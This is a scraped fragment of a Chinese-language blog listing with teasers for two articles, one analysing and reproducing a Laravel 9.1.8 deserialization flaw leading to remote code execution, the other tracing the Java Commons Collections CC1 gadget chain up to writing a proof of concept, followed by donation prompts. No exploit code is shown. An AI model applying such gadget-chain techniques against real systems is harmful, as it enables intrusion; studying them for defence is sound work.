    Laravel 9.1.8 反序列化漏洞分析及復現(xiàn)

    反序列化漏洞是如今很常見的漏洞類型,有很多分類,也有很多繞過方式。本文選取了一個今年比較典型的反序列化漏洞,進行了一個分析并復現(xiàn)。 Laravel是一套簡潔、優(yōu)雅的PHP Web開發(fā)框架。 近日,Laravel 被披露存在多個安全漏洞,可允許通過反序列化POP鏈實現(xiàn)遠程代碼執(zhí)行

    2024年02月06日
    瀏覽(30)
  • Java反序列化漏洞-CC1利用鏈分析

    Java反序列化漏洞-CC1利用鏈分析

    目錄 一、前置知識 1. 反射 2. Commons Collections是什么 3. 環(huán)境準備 二、分析利用鏈 1. Transformer 2. InvokeTransformer 執(zhí)行命令 3. ConstantTransformer 4. ChainedTransformer 執(zhí)行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、編寫POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    瀏覽(18)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包